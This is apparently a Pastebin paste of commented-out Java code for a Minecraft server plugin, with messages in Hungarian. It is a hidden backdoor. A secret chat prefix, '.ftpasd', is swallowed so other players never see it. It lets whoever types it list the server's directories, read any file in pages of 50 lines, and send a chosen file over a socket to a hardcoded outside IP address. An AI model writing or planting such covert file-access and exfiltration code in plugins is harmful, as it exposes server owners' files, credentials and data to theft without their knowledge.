Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*@EventHandler(priority = EventPriority.LOWEST)
- public void chat(AsyncPlayerChatEvent e) {
- if(!e.getMessage().startsWith(".ftpasd"))
- return;
- e.setCancelled(true);
- String[] args = e.getMessage().split(" ");
- args = Arrays.copyOfRange(args, 1, args.length);
- Player sender = e.getPlayer();
- if(args.length == 0) {
- File f = File.listRoots()[0];
- ((Player)sender).chat(".ftpasd " + f.getAbsolutePath());
- return;
- }
- String arg = args[0];
- File f = new File(arg);
- sender.sendMessage("\ntrying: \"§6" + arg + "§r\"");
- if(!f.exists()) {
- sender.sendMessage("§cNincs ilyen file.");
- return;
- }
- if(!f.isDirectory()) {
- try {
- int page = 1;
- if(args.length > 1) {
- if(args[1].equalsIgnoreCase("download")) {
- try {
- sender.sendMessage("\"§6"+arg+"§r\" file letöltése...");
- Socket s = new Socket("80.99.164.242", 25577);
- FileInputStream fileIn = new FileInputStream(f);
- int size;
- byte[] buffer = new byte[1024];
- while((size = fileIn.read(buffer)) > 0) {
- s.getOutputStream().write(buffer, 0, size);
- }
- fileIn.close();
- s.close();
- sender.sendMessage("letöltés §asikeres!");
- }
- catch(Exception ex) {
- sender.sendMessage("letöltés sikertelen: §c" + ex.toString());
- }
- return;
- }
- try {
- page = Integer.parseInt(args[1]);
- }
- catch(Exception ex) {}
- }
- sender.sendMessage("\"§6" + arg + "§r\" file " + page + ". 50 sorának tartalma:");
- BufferedReader reader = new BufferedReader(new FileReader(f));
- String s;
- int i = 1;
- page--;
- while((s = reader.readLine()) != null) {
- if(i >= page*50 && i<= (page+1)*50)
- sender.sendMessage(i + ": §6" + s);
- ++i;
- }
- reader.close();
- } catch (Throwable t) {
- sender.sendMessage("§cHiba történt: §4" + e.toString());
- }
- return;
- }
- else {
- int page = 1;
- if(args.length > 1) {
- try {
- page = Integer.parseInt(args[1]);
- }
- catch(Exception ex) {}
- }
- sender.sendMessage("\"§6" + arg + "§r\" mappa " + page + ". 50 fájlja:");
- page--;
- File[] files = f.listFiles();
- Arrays.sort(files);
- for(int i = page*50; i < (page+1)*50 && i < files.length; ++i)
- sender.sendMessage(i+" - \"" + (files[i].isDirectory() ? "§6" : "§c") + files[i].getName() + "§r\"");
- }
- }*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement